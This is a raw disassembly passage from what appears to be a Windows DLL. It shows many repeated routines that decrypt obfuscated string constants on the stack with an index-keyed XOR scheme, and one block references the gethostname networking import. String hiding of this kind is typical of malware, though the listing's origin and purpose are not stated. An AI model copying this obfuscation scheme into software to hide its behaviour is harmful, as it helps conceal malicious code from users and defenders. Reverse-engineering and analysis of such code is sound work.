xor byte [rbp + 0x112a], 0x38
xor byte [rbp + 0x112b], 0x39
xor byte [rbp + 0x112c], 0x3a
xor byte [rbp + 0x112d], 0x3b
xor byte [rbp + 0x112e], 0x3c
xor byte [rbp + 0x112f], 0x3d
xor byte [rbp + 0x1130], 0x3e
xor byte [rbp + 0x1131], 0x3f
mov byte [rbp + 0x1128], 0x43
lea rax, [rbp + 0x1128]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x18008d970
lea rdx, [rbp + 0x1128]
jmp 0x180090ce1
movups xmm0, xmmword [str.uXU__O]
movups xmmword [rbp + 0x1f30], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x18008db04
cmp r12d, 2
jl 0x18008dac5
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1f34]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x18008d9d0
jmp 0x18008db04
lea r9, [rbp + 0x1f30]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x18008dad0
lea rax, [rbp + 0x1f30]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008db10
lea rdx, [rbp + 0x1f30]
jmp 0x180090ce1
cmp byte [0x1801c3269], r14b
movups xmm0, xmmword [0x1801c3258]
movzx eax, word [0x1801c3268]
mov word [rbp + 0x2248], ax
movups xmmword [rbp + 0x2238], xmm0
je 0x18008dcb4
mov r8d, r14d
cmp r12d, 2
jl 0x18008dc6b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x223c]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008db70
cmp r8d, 0x12
jge 0x18008dcb4
movsxd rax, r8d
lea r9, [rbp + 0x2238]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x18008dc80
lea rax, [rbp + 0x2238]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008dcc0
lea rdx, [rbp + 0x2238]
jmp 0x180090ce1
mov eax, dword [0x1801c3278]
mov r8d, r14d
movsd xmm0, qword [str.eYQI_I]
mov dword [rbp + 0x1798], eax
movzx eax, byte [0x1801c327c]
mov byte [rbp + 0x179c], al
movsd qword [rbp + 0x1790], xmm0
cmp r12d, 2
jl 0x18008ddf8
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.eYQI_I]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1790], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1794]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1794], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1790]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x18008de10
lea rax, [rbp + 0x1790]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008de50
lea rdx, [rbp + 0x1790]
jmp 0x180090ce1
mov eax, dword [0x1801c3288]
mov r8d, r14d
movsd xmm0, qword [str.RYOCeoSWO_3B]
mov dword [rbp + 0x17b8], eax
movzx eax, byte [0x1801c328c]
mov byte [rbp + 0x17bc], al
movsd qword [rbp + 0x17b0], xmm0
cmp r12d, 2
jl 0x18008df88
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.RYOCeoSWO_3B]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x17b0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x17b4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x17b4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x17b0]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x18008dfa0
lea rax, [rbp + 0x17b0]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008dfe0
lea rdx, [rbp + 0x17b0]
jmp 0x180090ce1
movzx eax, word [0x1801c32a0]
mov r8d, r14d
mov word [rbp + 0x2320], ax
movzx eax, byte [0x1801c32a2]
mov byte [rbp + 0x2322], al
movups xmm0, xmmword [str.RYOCeoSWO_3b]
movups xmmword [rbp + 0x2310], xmm0
cmp r12d, 2
jl 0x18008e13b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2314]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008e040
cmp r8d, 0x13
jge 0x18008e184
movsxd rax, r8d
lea r9, [rbp + 0x2310]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x18008e150
lea rax, [rbp + 0x2310]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008e190
lea rdx, [rbp + 0x2310]
jmp 0x180090ce1
mov eax, dword [0x1801c32b0]
mov r8d, r14d
movsd xmm0, qword [0x1801c32a8]
mov dword [rbp + 0x1bd8], eax
movzx eax, word [0x1801c32b4]
mov word [rbp + 0x1bdc], ax
movzx eax, byte [0x1801c32b6]
mov byte [rbp + 0x1bde], al
movsd qword [rbp + 0x1bd0], xmm0
cmp r12d, 2
jl 0x18008e2d6
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c32a8]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1bd0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1bd4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1bd4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1bd0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18008e2f0
lea rax, [rbp + 0x1bd0]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008e330
lea rdx, [rbp + 0x1bd0]
jmp 0x180090ce1
mov eax, dword [0x1801c32c8]
mov r8d, r14d
mov dword [rbp + 0x2530], eax
movzx eax, byte [0x1801c32cc]
mov byte [rbp + 0x2534], al
movups xmm0, xmmword [str.VJRIV_S]
movups xmmword [rbp + 0x2520], xmm0
cmp r12d, 2
jl 0x18008e48b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2524]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008e390
cmp r8d, 0x15
jge 0x18008e4d4
movsxd rax, r8d
lea r9, [rbp + 0x2520]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x18008e4a0
lea rax, [rbp + 0x2520]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008e4e0
lea rdx, [rbp + 0x2520]
jmp 0x180090ce1
movups xmm0, xmmword [str.fE_ZSHURP]
movups xmmword [rbp + 0x1f40], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x18008e674
cmp r12d, 2
jl 0x18008e635
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1f44]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x18008e540
jmp 0x18008e674
lea r9, [rbp + 0x1f40]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x18008e640
lea rax, [rbp + 0x1f40]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008e680
lea rdx, [rbp + 0x1f40]
jmp 0x180090ce1
cmp byte [reloc.WS2_32.dll_gethostname], r14b
mov eax, dword [0x1801c32e0]
mov dword [rbp - 0x5c], eax
je 0x18008e755
cmp r12d, 2
jl 0x18008e71a
movdqa xmm1, xmm15
movdqa xmm0, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
xorps xmm1, xmm0
movd dword [rbp - 0x5c], xmm1
jmp 0x18008e755
lea r9, [rbp - 0x5c]
mov r8d, r14d
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x18008e721
lea rax, [rbp - 0x5c]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x18008e760
lea rdx, [rbp - 0x5c]
jmp 0x180090ce1
movzx eax, byte [0x1801c32f8]
mov r8d, r14d
mov byte [rbp + 0x2098], al
movups xmm0, xmmword [str.qE_W__Y]
movups xmmword [rbp + 0x2088], xmm0
cmp r12d, 2
jl 0x18008e8ab
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x208c]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008e7b0
cmp r8d, 0x11
jge 0x18008e8f4
movsxd rax, r8d
lea r9, [rbp + 0x2088]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x18008e8c0
lea rax, [rbp + 0x2088]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008e900
lea rdx, [rbp + 0x2088]
jmp 0x180090ce1
cmp byte [0x1801c3307], r14b
mov rax, qword [str.VP_NRpJMTNV]
mov qword [rbp + 0x4b0], rax
je 0x18008ea64
cmp r12d, 2
jl 0x18008ea23
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4b0]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0x4b0], xmm2
movdqa xmm1, xmm12
pmuldq xmm0, xmm14
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4b4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x4b4], xmm2
jmp 0x18008ea64
lea r9, [rbp + 0x4b0]
mov r8d, r14d
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x18008ea30
lea rax, [rbp + 0x4b0]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008ea70
lea rdx, [rbp + 0x4b0]
jmp 0x180090ce1
cmp byte [0x1801c3319], r14b
movups xmm0, xmmword [0x1801c3308]
movzx eax, word [0x1801c3318]
mov word [rbp + 0x2260], ax
movups xmmword [rbp + 0x2250], xmm0
je 0x18008ec14
mov r8d, r14d
cmp r12d, 2
jl 0x18008ebcb
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2254]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008ead0
cmp r8d, 0x12
jge 0x18008ec14
movsxd rax, r8d
lea r9, [rbp + 0x2250]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x18008ebe0
lea rax, [rbp + 0x2250]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008ec20
lea rdx, [rbp + 0x2250]
jmp 0x180090ce1
cmp byte [0x1801c3327], r14b
mov rax, qword [str.dVQU_NRXUPT_]
mov qword [rbp + 0x4b8], rax
je 0x18008ed84
cmp r12d, 2
jl 0x18008ed43
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4b8]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0x4b8], xmm2
